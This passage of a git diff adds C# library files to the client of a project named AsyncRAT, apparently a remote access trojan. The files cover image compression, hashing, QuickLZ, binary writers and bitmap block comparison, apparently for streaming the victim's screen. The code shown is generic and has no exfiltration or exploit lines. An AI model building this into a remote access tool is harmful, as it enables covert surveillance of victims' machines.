(int)Hsize > 0.0F) Hsize += 1.0F; + + ArrayOffset[,][] ImageArrayOffsets = new ArrayOffset[(int)Hsize, (int)Wsize][]; + Point tmp = new Point(0, 0); + for (int y = beginPoint.Y; y < Height; y += SlicePieces) + { + for (int x = beginPoint.X; x < Width; x += SlicePieces) + { + ImageArrayOffsets[tmp.Y, tmp.X] = FastBitmap.GetBytePoints(new Point(x, y), new Point(x + SlicePieces, y + SlicePieces), ImgSize, format); + tmp.X++; + } + tmp.X = 0; + tmp.Y++; + } + return ImageArrayOffsets; + } + } + + public class ArrayOffset + { + public int BeginOffset { get; private set; } + public int EndOffset { get; private set; } + public int Stride { get; private set; } + public int X { get; private set; } + public int Y { get; private set; } + public int Width { get; private set; } + public int Height { get; private set; } + + public ArrayOffset(int begin, int end, int Stride, int x, int y, int width, int height) + { + this.BeginOffset = begin; + this.EndOffset = end; + this.Stride = Stride; + this.X = x; + this.Y = y; + this.Width = width; + this.Height = height; + } + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/Client/StreamLibrary/src/JpgCompression.cs b/AsyncRAT-C#/Client/StreamLibrary/src/JpgCompression.cs new file mode 100644 index 0000000..a5f842d --- /dev/null +++ b/AsyncRAT-C#/Client/StreamLibrary/src/JpgCompression.cs @@ -0,0 +1,52 @@ +using System; +using System.Collections.Generic; +using System.Drawing; +using System.Drawing.Imaging; +using System.IO; +using System.Text; + +namespace StreamLibrary.src +{ + public class JpgCompression + { + private EncoderParameter parameter; + private ImageCodecInfo encoderInfo; + private EncoderParameters encoderParams; + + public JpgCompression(int Quality) + { + this.parameter = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, (long)Quality); + this.encoderInfo = GetEncoderInfo("image/jpeg"); + this.encoderParams = new EncoderParameters(2); + this.encoderParams.Param[0] = parameter; + this.encoderParams.Param[1] = new EncoderParameter(System.Drawing.Imaging.Encoder.Compression, (long)2); + } + + public byte[] Compress(Bitmap bmp) + { + using (MemoryStream stream = new MemoryStream()) + { + bmp.Save(stream, encoderInfo, encoderParams); + return stream.ToArray(); + } + } + public void Compress(Bitmap bmp, ref Stream TargetStream) + { + bmp.Save(TargetStream, encoderInfo, encoderParams); + } + + private ImageCodecInfo GetEncoderInfo(string mimeType) + { + ImageCodecInfo[] imageEncoders = ImageCodecInfo.GetImageEncoders(); + int num2 = imageEncoders.Length - 1; + for (int i = 0; i <= num2; i++) + { + if (imageEncoders[i].MimeType == mimeType) + { + return imageEncoders[i]; + } + } + return null; + } + } +} diff --git a/AsyncRAT-C#/Client/StreamLibrary/src/LzwCompression.cs b/AsyncRAT-C#/Client/StreamLibrary/src/LzwCompression.cs new file mode 100644 index 0000000..d9cfeef --- /dev/null +++ b/AsyncRAT-C#/Client/StreamLibrary/src/LzwCompression.cs @@ -0,0 +1,55 @@ +using System; +using System.Collections.Generic; +using System.Drawing; +using System.Drawing.Imaging; +using System.IO; +using System.Text; + +namespace StreamLibrary.src +{ + public class LzwCompression + { + private EncoderParameter parameter; + private ImageCodecInfo encoderInfo; + private EncoderParameters encoderParams; + + public LzwCompression(int Quality) + { + this.parameter = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, (long)Quality); + this.encoderInfo = GetEncoderInfo("image/jpeg"); + this.encoderParams = new EncoderParameters(2); + this.encoderParams.Param[0] = parameter; + this.encoderParams.Param[1] = new EncoderParameter(System.Drawing.Imaging.Encoder.Compression, (long)EncoderValue.CompressionLZW); + } + + public byte[] Compress(Bitmap bmp, byte[] AdditionInfo = null) + { + using (MemoryStream stream = new MemoryStream()) + { + if (AdditionInfo != null) + stream.Write(AdditionInfo, 0, AdditionInfo.Length); + bmp.Save(stream, encoderInfo, encoderParams); + return stream.ToArray(); + } + } + public void Compress(Bitmap bmp, Stream stream, byte[] AdditionInfo = null) + { + if (AdditionInfo != null) + stream.Write(AdditionInfo, 0, AdditionInfo.Length); + bmp.Save(stream, encoderInfo, encoderParams); + } + + private ImageCodecInfo GetEncoderInfo(string mimeType) + { + ImageCodecInfo[] imageEncoders = ImageCodecInfo.GetImageEncoders(); + for (int i = 0; i < imageEncoders.Length; i++) + { + if (imageEncoders[i].MimeType == mimeType) + { + return imageEncoders[i]; + } + } + return null; + } + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/Client/StreamLibrary/src/MurmurHash2Unsafe.cs b/AsyncRAT-C#/Client/StreamLibrary/src/MurmurHash2Unsafe.cs new file mode 100644 index 0000000..ba82bff --- /dev/null +++ b/AsyncRAT-C#/Client/StreamLibrary/src/MurmurHash2Unsafe.cs @@ -0,0 +1,62 @@ +using System; +using System.Collections.Generic; +using System.Runtime.InteropServices; +using System.Text; + +namespace StreamLibrary.src +{ + public unsafe class MurmurHash2Unsafe + { + const UInt32 m = 0x5bd1e995; + const Int32 r = 24; + + public unsafe UInt32 Hash(Byte* data, int length) + { + if (length == 0) + return 0; + UInt32 h = 0xc58f1a7b ^ (UInt32)length; + Int32 remainingBytes = length & 3; // mod 4 + Int32 numberOfLoops = length >> 2; // div 4 + UInt32* realData = (UInt32*)data; + while (numberOfLoops != 0) + { + UInt32 k = *realData; + k *= m; + k ^= k >> r; + k *= m; + + h *= m; + h ^= k; + numberOfLoops--; + realData++; + } + switch (remainingBytes) + { + case 3: + h ^= (UInt16)(*realData); + h ^= ((UInt32)(*(((Byte*)(realData)) + 2))) << 16; + h *= m; + break; + case 2: + h ^= (UInt16)(*realData); + h *= m; + break; + case 1: + h ^= *((Byte*)realData); + h *= m; + break; + default: + break; + } + + // Do a few final mixes of the hash to ensure the last few + // bytes are well-incorporated. + + h ^= h >> 13; + h *= m; + h ^= h >> 15; + + return h; + } + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/Client/StreamLibrary/src/NativeMethods.cs b/AsyncRAT-C#/Client/StreamLibrary/src/NativeMethods.cs new file mode 100644 index 0000000..38df525 --- /dev/null +++ b/AsyncRAT-C#/Client/StreamLibrary/src/NativeMethods.cs @@ -0,0 +1,22 @@ +using System; +using System.Collections.Generic; +using System.Runtime.InteropServices; +using System.Text; + +namespace StreamLibrary.src +{ + public class NativeMethods + { + [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)] + public static extern unsafe int memcmp(byte* ptr1, byte* ptr2, uint count); + + [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)] + public static extern int memcmp(IntPtr ptr1, IntPtr ptr2, uint count); + + [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)] + public static extern int memcpy(IntPtr dst, IntPtr src, uint count); + + [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)] + public static extern unsafe int memcpy(void* dst, void* src, uint count); + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/Client/StreamLibrary/src/PayloadWriter.cs b/AsyncRAT-C#/Client/StreamLibrary/src/PayloadWriter.cs new file mode 100644 index 0000000..a76fb23 --- /dev/null +++ b/AsyncRAT-C#/Client/StreamLibrary/src/PayloadWriter.cs @@ -0,0 +1,113 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Text; + +namespace StreamLibrary.src +{ + public class PayloadWriter : IDisposable + { + public Stream vStream { get; set; } + public PayloadWriter() + { + vStream = new MemoryStream(); + } + public PayloadWriter(Stream stream) + { + vStream = stream; + } + + public void WriteBytes(byte[] value) + { + vStream.Write(value, 0, value.Length); + } + + public void WriteBytes(byte[] value, int Offset, int Length) + { + vStream.Write(value, Offset, Length); + } + + public void WriteInteger(int value) + { + WriteBytes(BitConverter.GetBytes(value)); + } + + /// + /// A integer with 3 bytes not 4 + /// + public void WriteThreeByteInteger(int value) + { + WriteByte((byte)value); + WriteByte((byte)(value >> 8)); + WriteByte((byte)(value >> 16)); + } + + public void WriteUInteger(uint value) + { + WriteBytes(BitConverter.GetBytes(value)); + } + + public void WriteShort(short value) + { + WriteBytes(BitConverter.GetBytes(value)); + } + public void WriteUShort(ushort value) + { + WriteBytes(BitConverter.GetBytes(value)); + } + public void WriteULong(ulong value) + { + WriteBytes(BitConverter.GetBytes(value)); + } + + public void WriteByte(byte value) + { + vStream.WriteByte(value); + } + + public void WriteBool(bool value) + { + WriteByte(value ? (byte)1 : (byte)0); + } + + public void WriteDouble(double value) + { + WriteBytes(BitConverter.GetBytes(value)); + } + public void WriteLong(long value) + { + WriteBytes(BitConverter.GetBytes(value)); + } + public void WriteFloat(float value) + { + WriteBytes(BitConverter.GetBytes(value)); + } + public void WriteDecimal(decimal value) + { + BinaryWriter writer = new BinaryWriter(vStream); + writer.Write(value); + } + + public void WriteString(string value) + { + if (!(value == null)) + WriteBytes(System.Text.Encoding.Unicode.GetBytes(value)); + else + throw new NullReferenceException("value"); + vStream.WriteByte(0); + vStream.WriteByte(0); + } + + public int Length + { + get { return (int)vStream.Length; } + } + + public void Dispose() + { + vStream.Close(); + vStream.Dispose(); + vStream = null; + } + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/Client/StreamLibrary/src/PointerHelper.cs b/AsyncRAT-C#/Client/StreamLibrary/src/PointerHelper.cs new file mode 100644 index 0000000..71ba44f --- /dev/null +++ b/AsyncRAT-C#/Client/StreamLibrary/src/PointerHelper.cs @@ -0,0 +1,58 @@ +using System; +using System.Collections.Generic; +using System.Text; + +namespace StreamLibrary.src +{ + /// + /// A helper class for pointers + /// + public class PointerHelper + { + private int _offset; + + public IntPtr Pointer + { + get; + private set; + } + + public int TotalLength { get; private set; } + + public int Offset + { + get { return _offset; } + set + { + if (value < 0) + throw new Exception("Offset must be >= 1"); + + if (value >= TotalLength) + throw new Exception("Offset cannot go outside of the reserved buffer space"); + + _offset = value; + } + } + + public PointerHelper(IntPtr pointer, int Length) + { + this.TotalLength = Length; + this.Pointer = pointer; + } + + /// + /// Copies data from Source to the current Pointer Offset + /// + public void Copy(IntPtr Source, int SourceOffset, int SourceLength) + { + if (CheckBoundries(this.Offset, SourceLength)) + throw new AccessViolationException("Cannot write outside of the buffer space"); + NativeMethods.memcpy(new IntPtr(this.Pointer.ToInt64() + Offset), new IntPtr(Source.ToInt64() + SourceOffset), (uint)SourceLength); + } + + private bool CheckBoundries(int offset, int length) + { + return offset + length > TotalLength; + } + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/Client/StreamLibrary/src/SafeQuickLZ.cs b/AsyncRAT-C#/Client/StreamLibrary/src/SafeQuickLZ.cs new file mode 100644 index 0000000..bde4b98 --- /dev/null +++ b/AsyncRAT-C#/Client/StreamLibrary/src/SafeQuickLZ.cs @@ -0,0 +1,487 @@ +using System; +using System.Collections.Generic; +using System.Text; + +namespace StreamLibrary.src +{ + // QuickLZ data compression library + // Copyright (C) 2006-2011 Lasse Mikkel Reinhold + // lar@quicklz.com + // + // QuickLZ can be used for free under the GPL 1, 2 or 3 license (where anything + // released into public must be open source) or under a commercial license if such + // has been acquired (see http://www.quicklz.com/order.html). The commercial license + // does not cover derived or ported versions created by third parties under GPL. + // + // Only a subset of the C library has been ported, namely level 1 and 3 not in + // streaming mode. + // + // Version: 1.5.0 final + + public class SafeQuickLZ + { + public const int QLZ_VERSION_MAJOR = 1; + public const int QLZ_VERSION_MINOR = 5; + public const int QLZ_VERSION_REVISION = 0; + + // Streaming mode not supported + public const int QLZ_STREAMING_BUFFER = 0; + + // Bounds checking not supported Use try...catch instead + public const int QLZ_MEMORY_SAFE = 0; + + // Decrease QLZ_POINTERS_3 to increase level 3 compression speed. Do not edit any other values! + private const int HASH_VALUES = 4096; + private const int MINOFFSET = 2; + private const int UNCONDITIONAL_MATCHLEN = 6; + private const int UNCOMPRESSED_END = 4; + private const int CWORD_LEN = 4; + private const int DEFAULT_HEADERLEN = 9; + private const int QLZ_POINTERS_1 = 1; + private const int QLZ_POINTERS_3 = 16; + + private int headerLen(byte[] source, int offset) + { + return ((source[offset] & 2) == 2) ? 9 : 3; + } + + public int sizeDecompressed(byte[] source, int offset) + { + if (headerLen(source, offset) == 9) + return source[offset + 5] | (source[offset + 6] << 8) | (source[offset + 7] << 16) | (source[offset + 8] << 24); + else + return source[offset + 2]; + } + + public int sizeCompressed(byte[] source, int offset) + { + if (headerLen(source, offset) == 9) + return source[offset + 1] | (source[offset + 2] << 8) | (source[offset + 3] << 16) | (source[offset + 4] << 24); + else + return source[offset + 1]; + } + + private void write_header(byte[] dst, int level, bool compressible, int size_compressed, int size_decompressed) + { + dst[0] = (byte)(2 | (compressible ? 1 : 0)); + dst[0] |= (byte)(level << 2); + dst[0] |= (1 << 6); + dst[0] |= (0 << 4); + fast_write(dst, 1, size_decompressed, 4); + fast_write(dst, 5, size_compressed, 4); + } + + public byte[] compress(byte[] source, int Offset, int Length, int level) + { + int src = Offset; + int dst = DEFAULT_HEADERLEN + CWORD_LEN; + uint cword_val = 0x80000000; + int cword_ptr = DEFAULT_HEADERLEN; + byte[] destination = new byte[Length + 400]; + int[,] hashtable; + int[] cachetable = new int[HASH_VALUES]; + byte[] hash_counter = new byte[HASH_VALUES]; + byte[] d2; + int fetch = 0; + int last_matchstart = (Length - UNCONDITIONAL_MATCHLEN - UNCOMPRESSED_END - 1); + int lits = 0; + + if (level != 1 && level != 3) + throw new ArgumentException("C# version only supports level 1 and 3"); + + if (level == 1) + hashtable = new int[HASH_VALUES, QLZ_POINTERS_1]; + else + hashtable = new int[HASH_VALUES, QLZ_POINTERS_3]; + + if (Length == 0) + return new byte[0]; + + if (src <= last_matchstart) + fetch = source[src] | (source[src + 1] << 8) | (source[src + 2] << 16); + + while (src <= last_matchstart) + { + if ((cword_val & 1) == 1) + { + if (src > Length >> 1 && dst > src - (src >> 5)) + { + d2 = new byte[Length + DEFAULT_HEADERLEN]; + write_header(d2, level, false, Length, Length + DEFAULT_HEADERLEN); + System.Array.Copy(source, 0, d2, DEFAULT_HEADERLEN, Length); + return d2; + } + + fast_write(destination, cword_ptr, (int)((cword_val >> 1) | 0x80000000), 4); + cword_ptr = dst; + dst += CWORD_LEN; + cword_val = 0x80000000; + } + + if (level == 1) + { + int hash = ((fetch >> 12) ^ fetch) & (HASH_VALUES - 1); + int o = hashtable[hash, 0]; + int cache = cachetable[hash] ^ fetch; + cachetable[hash] = fetch; + hashtable[hash, 0] = src; + + if (cache == 0 && hash_counter[hash] != 0 && (src - o > MINOFFSET || (src == o + 1 && lits >= 3 && src > 3 && source[src] == source[src - 3] && + source[src] == source[src - 2] && source[src] == source[src - 1] && + source[src] == source[src + 1] && source[src] == source[src + 2]))) + { + cword_val = ((cword_val >> 1) | 0x80000000); + if (source[o + 3] != source[src + 3]) + { + int f = 3 - 2 | (hash << 4); + destination[dst + 0] = (byte)(f >> 0 * 8); + destination[dst + 1] = (byte)(f >> 1 * 8); + src += 3; + dst += 2; + } + else + { + int old_src = src; + int remaining = ((Length - UNCOMPRESSED_END - src + 1 - 1) > 255 ? 255 : (Length - UNCOMPRESSED_END - src + 1 - 1)); + + src += 4; + if (source[o + src - old_src] == source[src]) + { + src++; + if (source[o + src - old_src] == source[src]) + { + src++; + while (source[o + (src - old_src)] == source[src] && (src - old_src) < remaining) + src++; + } + } + + int matchlen = src - old_src; + + hash <<= 4; + if (matchlen < 18) + { + int f = (hash | (matchlen - 2)); + destination[dst + 0] = (byte)(f >> 0 * 8); + destination[dst + 1] = (byte)(f >> 1 * 8); + dst += 2; + } + else + { + fast_write(destination, dst, hash | (matchlen << 16), 3); + dst += 3; + } + } + fetch = source[src] | (source[src + 1] << 8) | (source[src + 2] << 16); + lits = 0; + } + else + { + lits++; + hash_counter[hash] = 1; + destination[dst] = source[src]; + cword_val = (cword_val >> 1); + src++; + dst++; + fetch = ((fetch >> 8) & 0xffff) | (source[src + 2] << 16); + } + + } + else + { + fetch = source[src] | (source[src + 1] << 8) | (source[src + 2] << 16); + + int o, offset2; + int matchlen, k, m, best_k = 0; + byte c; + int remaining = ((Length - UNCOMPRESSED_END - src + 1 - 1) > 255 ? 255 : (Length - UNCOMPRESSED_END - src + 1 - 1)); + int hash = ((fetch >> 12) ^ fetch) & (HASH_VALUES - 1); + + c = hash_counter[hash]; + matchlen = 0; + offset2 = 0; + for (k = 0; k < QLZ_POINTERS_3 && c > k; k++) + { + o = hashtable[hash, k]; + if ((byte)fetch == source[o] && (byte)(fetch >> 8) == source[o + 1] && (byte)(fetch >> 16) == source[o + 2] && o < src - MINOFFSET) + { + m = 3; + while (source[o + m] == source[src + m] && m < remaining) + m++; + if ((m > matchlen) || (m == matchlen && o > offset2)) + { + offset2 = o; + matchlen = m; + best_k = k; + } + } + } + o = offset2; + hashtable[hash, c & (QLZ_POINTERS_3 - 1)] = src; + c++; + hash_counter[hash] = c; + + if (matchlen >= 3 && src - o < 131071) + { + int offset = src - o; + + for (int u = 1; u < matchlen; u++) + { + fetch = source[src + u] | (source[src + u + 1] << 8) | (source[src + u + 2] << 16); + hash = ((fetch >> 12) ^ fetch) & (HASH_VALUES - 1); + c = hash_counter[hash]++; + hashtable[hash, c & (QLZ_POINTERS_3 - 1)] = src + u; + } + + src += matchlen; + cword_val = ((cword_val >> 1) | 0x80000000); + + if (matchlen == 3 && offset <= 63) + { + fast_write(destination, dst, offset << 2, 1); + dst++; + } + else if (matchlen == 3 && offset <= 16383) + { + fast_write(destination, dst, (offset << 2) | 1, 2); + dst += 2; + } + else if (matchlen <= 18 && offset <= 1023) + { + fast_write(destination, dst, ((matchlen - 3) << 2) | (offset << 6) | 2, 2); + dst += 2; + } + else if (matchlen <= 33) + { + fast_write(destination, dst, ((matchlen - 2) << 2) | (offset << 7) | 3, 3); + dst += 3; + } + else + { + fast_write(destination, dst, ((matchlen - 3) << 7) | (offset << 15) | 3, 4); + dst += 4; + } + lits = 0; + } + else + { + destination[dst] = source[src]; + cword_val = (cword_val >> 1); + src++; + dst++; + } + } + } + while (src <= Length - 1) + { + if ((cword_val & 1) == 1) + { + fast_write(destination, cword_ptr, (int)((cword_val >> 1) | 0x80000000), 4); + cword_ptr = dst; + dst += CWORD_LEN; + cword_val = 0x80000000; + } + + destination[dst] = source[src]; + src++; + dst++; + cword_val = (cword_val >> 1); + } + while ((cword_val & 1) != 1) + { + cword_val = (cword_val >> 1); + } + + fast_write(destination, cword_ptr, (int)((cword_val >> 1) | 0x80000000), CWORD_LEN); + write_header(destination, level, true, Length, dst); + d2 = new byte[dst]; + System.Array.Copy(destination, d2, dst); + return d2; + } + + + private void fast_write(byte[] a, int i, int value, int numbytes) + { + for (int j = 0; j < numbytes; j++) + a[i + j] = (byte)(value >> (j * 8)); + } + + public byte[] decompress(byte[] source, int Offset, int Length) + { + int level; + int size = sizeDecompressed(source, Offset); + int src = headerLen(source, Offset) + Offset; + int dst = 0; + uint cword_val = 1; + byte[] destination = new byte[size]; + int[] hashtable = new int[4096]; + byte[] hash_counter = new byte[4096]; + int last_matchstart = size - UNCONDITIONAL_MATCHLEN - UNCOMPRESSED_END - 1; + int last_hashed = -1; + int hash; + uint fetch = 0; + + level = (source[Offset] >> 2) & 0x3; + + if (level != 1 && level != 3) + throw new ArgumentException("C# version only supports level 1 and 3"); + + if ((source[Offset] & 1) != 1) + { + byte[] d2 = new byte[size]; + System.Array.Copy(source, headerLen(source, Offset), d2, Offset, size); + return d2; + } + + for (; ; ) + { + if (cword_val == 1) + { + cword_val = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16) | (source[src + 3] << 24)); + src += 4; + if (dst <= last_matchstart) + { + if (level == 1) + fetch = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16)); + else + fetch = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16) | (source[src + 3] << 24)); + } + } + + if ((cword_val & 1) == 1) + { + uint matchlen; + uint offset2; + + cword_val = cword_val >> 1; + + if (level == 1) + { + hash = ((int)fetch >> 4) & 0xfff; + offset2 = (uint)hashtable[hash]; + + if ((fetch & 0xf) != 0) + { + matchlen = (fetch & 0xf) + 2; + src += 2; + } + else + { + matchlen = source[src + 2]; + src += 3; + } + } + else + { + uint offset; + if ((fetch & 3) == 0) + { + offset = (fetch & 0xff) >> 2; + matchlen = 3; + src++; + } + else if ((fetch & 2) == 0) + { + offset = (fetch & 0xffff) >> 2; + matchlen = 3; + src += 2; + } + else if ((fetch & 1) == 0) + { + offset = (fetch & 0xffff) >> 6; + matchlen = ((fetch >> 2) & 15) + 3; + src += 2; + } + else if ((fetch & 127) != 3) + { + offset = (fetch >> 7) & 0x1ffff; + matchlen = ((fetch >> 2) & 0x1f) + 2; + src += 3; + } + else + { + offset = (fetch >> 15); + matchlen = ((fetch >> 7) & 255) + 3; + src += 4; + } + offset2 = (uint)(dst - offset); + } + + destination[dst + 0] = destination[offset2 + 0]; + destination[dst + 1] = destination[offset2 + 1]; + destination[dst + 2] = destination[offset2 + 2]; + + for (int i = 3; i < matchlen; i += 1) + { + destination[dst + i] = destination[offset2 + i]; + } + + dst += (int)matchlen; + + if (level == 1) + { + fetch = (uint)(destination[last_hashed + 1] | (destination[last_hashed + 2] << 8) | (destination[last_hashed + 3] << 16)); + while (last_hashed < dst - matchlen) + { + last_hashed++; + hash = (int)(((fetch >> 12) ^ fetch) & (HASH_VALUES - 1)); + hashtable[hash] = last_hashed; + hash_counter[hash] = 1; + fetch = (uint)(fetch >> 8 & 0xffff | destination[last_hashed + 3] << 16); + } + fetch = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16)); + } + else + { + fetch = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16) | (source[src + 3] << 24)); + } + last_hashed = dst - 1; + } + else + { + if (dst <= last_matchstart) + { + destination[dst] = source[src]; + dst += 1; + src += 1; + cword_val = cword_val >> 1; + + if (level == 1) + { + while (last_hashed < dst - 3) + { + last_hashed++; + int fetch2 = destination[last_hashed] | (destination[last_hashed + 1] << 8) | (destination[last_hashed + 2] << 16); + hash = ((fetch2 >> 12) ^ fetch2) & (HASH_VALUES - 1); + hashtable[hash] = last_hashed; + hash_counter[hash] = 1; + } + fetch = (uint)(fetch >> 8 & 0xffff | source[src + 2] << 16); + } + else + { + fetch = (uint)(fetch >> 8 & 0xffff | source[src + 2] << 16 | source[src + 3] << 24); + } + } + else + { + while (dst <= size - 1) + { + if (cword_val == 1) + { + src += CWORD_LEN; + cword_val = 0x80000000; + } + + destination[dst] = source[src]; + dst++; + src++; + cword_val = cword_val >> 1; + } + return destination; + } + } + } + } + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/Client/StreamLibrary/src/SimpleBitmap.cs b/AsyncRAT-C#/Client/StreamLibrary/src/SimpleBitmap.cs new file mode 100644 index 0000000..ab62e1f --- /dev/null +++ b/AsyncRAT-C#/Client/StreamLibrary/src/SimpleBitmap.cs @@ -0,0 +1,177 @@ +using System; +using System.Collections.Generic; +using System.Drawing; +using System.Drawing.Imaging; +using System.Runtime.InteropServices; +using System.Text; + +namespace StreamLibrary.src +{ + public unsafe class SimpleBitmap + { + private object ProcessingLock = new object(); + + public SimpleBitmapInfo Info { get; internal set; } + public bool Locked { get { return Scan0 == IntPtr.Zero ? false : true; } } + public IntPtr Scan0 { get; internal set; } + public int Scan0_int { get; internal set; } + public BitmapData bitmapData { get; internal set; } + public Bitmap bitMap { get; set; } + + public class SimpleBitmapInfo + { + public SimpleBitmapInfo() + { + Clear(); + } + public SimpleBitmapInfo(BitmapData data) + { + Load(data); + } + public int Stride { get; protected set; } + public int PixelSize { get; protected set; } + public int Width { get; protected set; } + public int Height { get; protected set; } + + public int TotalSize { get; protected set; } + + internal void Clear() + { + Stride = 0; PixelSize = 0; Width = 0; Height = 0; TotalSize = 0; + } + internal void Load(BitmapData data) + { + Width = data.Width; Height = data.Height; Stride = data.Stride; + + PixelSize = Math.Abs(data.Stride) / data.Width; + TotalSize = data.Width * data.Height * PixelSize; + } + } + + public static bool Compare(Rectangle block, int ptr1, int ptr2, SimpleBitmapInfo sharedInfo) + { + int calc = 0; + int WidthSize = block.Width * sharedInfo.PixelSize; + + calc = (block.Y) * sharedInfo.Stride + block.X * sharedInfo.PixelSize; + + for (int i = 0; i < block.Height; i++) + { + if (NativeMethods.memcmp((byte*)(ptr1 + calc), (byte*)(ptr2 + calc), (uint)WidthSize) != 0) + return false; + calc += sharedInfo.Stride; + } + return true; + } + public static bool Compare(int y, int rowsize, int ptr1, int ptr2, SimpleBitmapInfo sharedInfo) + { + int calc = 0; + int Size = sharedInfo.Width * sharedInfo.PixelSize * rowsize; + + calc = y * sharedInfo.Stride; + + if (NativeMethods.memcmp((byte*)(ptr1 + calc), (byte*)(ptr2 + calc), (uint)Size) != 0) + return false; + return true; + } + public static bool FastCompare(int offset, int size, int ptr1, int ptr2, SimpleBitmapInfo sharedInfo) + { + if (NativeMethods.memcmp((byte*)(ptr1 + offset), (byte*)(ptr2 + offset), (uint)size) != 0) + return false; + return true; + } + + public unsafe void CopyBlock(Rectangle block, ref byte[] dest) + { + int calc = 0; + int WidthSize = block.Width * Info.PixelSize; + int CopyOffset = 0; + int scan0 = Scan0.ToInt32(); + int destSize = WidthSize * block.Height; + + if (dest == null || dest.Length != destSize) + dest = new byte[destSize]; + + calc = (block.Y) * Info.Stride + block.X * Info.PixelSize; + + fixed (byte* ptr = dest) + { + for (int i = 0; i < block.Height; i++) + { + NativeMethods.memcpy(new IntPtr(ptr + CopyOffset), new IntPtr(scan0 + calc), (uint)WidthSize); + calc += Info.Stride; + CopyOffset += WidthSize; + } + } + } + + public SimpleBitmap() + { + Scan0 = IntPtr.Zero; + bitmapData = null; + bitMap = null; + + Info = new SimpleBitmapInfo(); + } + public SimpleBitmap(Bitmap bmp) + { + this.bitMap = bmp; + } + + public void Lock() + { + if (Locked) + throw new Exception("Already locked"); + + lock (ProcessingLock) + { + bitmapData = bitMap.LockBits(new Rectangle(0, 0, bitMap.Width, bitMap.Height), ImageLockMode.ReadWrite, bitMap.PixelFormat); + + Info = new SimpleBitmapInfo(bitmapData); + + Scan0 = bitmapData.Scan0; + Scan0_int = Scan0.ToInt32(); + } + } + public void Unlock() + { + if (!Locked) + throw new Exception("Nothing to unlock"); + + lock (ProcessingLock) + { + Scan0 = IntPtr.Zero; + Scan0_int = 0; + + Info.Clear(); + bitMap.UnlockBits(bitmapData); + bitmapData = null; + } + } + public unsafe void PlaceBlockAtRectange(byte[] block, Rectangle loc) + { + int CopySize = Info.PixelSize * loc.Width; + int OffsetX = loc.X * Info.PixelSize; + int TotalCopied = 0; + + fixed (byte* ptr = block) + { + for (int i = 0; i < loc.Height; i++) + { + NativeMethods.memcpy(new IntPtr(Scan0_int + ((loc.Y + i) * Info.Stride + OffsetX)), new IntPtr(ptr + TotalCopied), (uint)CopySize); + TotalCopied += CopySize; + } + } + } + public void Dispose(bool disposeBitmap = false) + { + if (Locked) + Unlock(); + + if (disposeBitmap) + bitMap.Dispose(); + + bitMap = null; + } + } +} \ No newline at end of file diff --git a/README.md b/README.md index a6fee62..81fccc7 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ - + # AsyncRAT